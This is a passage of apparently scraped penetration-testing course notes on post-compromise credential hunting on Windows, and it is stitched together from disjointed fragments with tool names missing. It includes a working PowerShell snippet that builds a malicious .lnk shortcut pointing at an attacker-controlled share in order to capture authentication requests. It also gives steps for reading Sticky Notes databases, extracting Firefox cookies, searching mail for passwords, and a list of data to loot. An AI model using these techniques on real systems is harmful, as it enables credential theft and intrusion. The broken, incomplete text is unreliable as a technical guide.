Although these files should be automatically deleted as part of the installation, sysadmins may have created copies of the file in other folders during the development of the image and answer file.
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap
Strings to View DB File Contents
We can also copy them over to our attack box and search through the data using the strings command, which may be less efficient depending on the size of the database.
Other Files of Interest
Other Interesting Files
Some other files we may find credentials in include the following:
We can also make one using a few lines of PowerShell:
Generating a Malicious .lnk File
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\<attackerIP>\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
Pillaging
Pillaging is the process of obtaining information from a compromised system.
It can be personal information, corporate blueprints, credit card data, server information, infrastructure and network details, passwords, or other types of credentials, and anything relevant to the company or security assessment we are working on.
Below are some of the sources from which we can obtain information from compromised systems:
Installed applications
Installed services
Websites
File Shares
Databases
Directory Services (such as Active Directory, Azure AD, etc.)
Name Servers
Deployment Services
Certificate Authority
Source Code Management Server
Virtualization
Messaging
Monitoring and Logging Systems
Backups
Sensitive Data
Keylogging
Screen Capture
Network Traffic Capture
Previous Audit reports
User Information
History files, interesting documents (.doc/x,.xls/x,password./pass., etc)
The credentials are protected using , which typically means they can only be decrypted by the same user on the same computer they were created on.
We can copy the three plum.sqlite* files down to our system and open them with a tool such as and view the Text column in the Note table with the query select Text from Note;.
We can copy the file to our machine and use the Python script to extract cookies from the Firefox cookies.SQLite database.
we can attempt to search the user's email for terms such as "pass," "creds," "credentials," etc. using the tool .
run the tool in an attempt to retrieve credentials from a wide variety of software
but we can achieve the same effect using a malicious file.
We can use various tools to generate a malicious .lnk file, such as , as it is not as straightforward as creating a malicious .scf file.
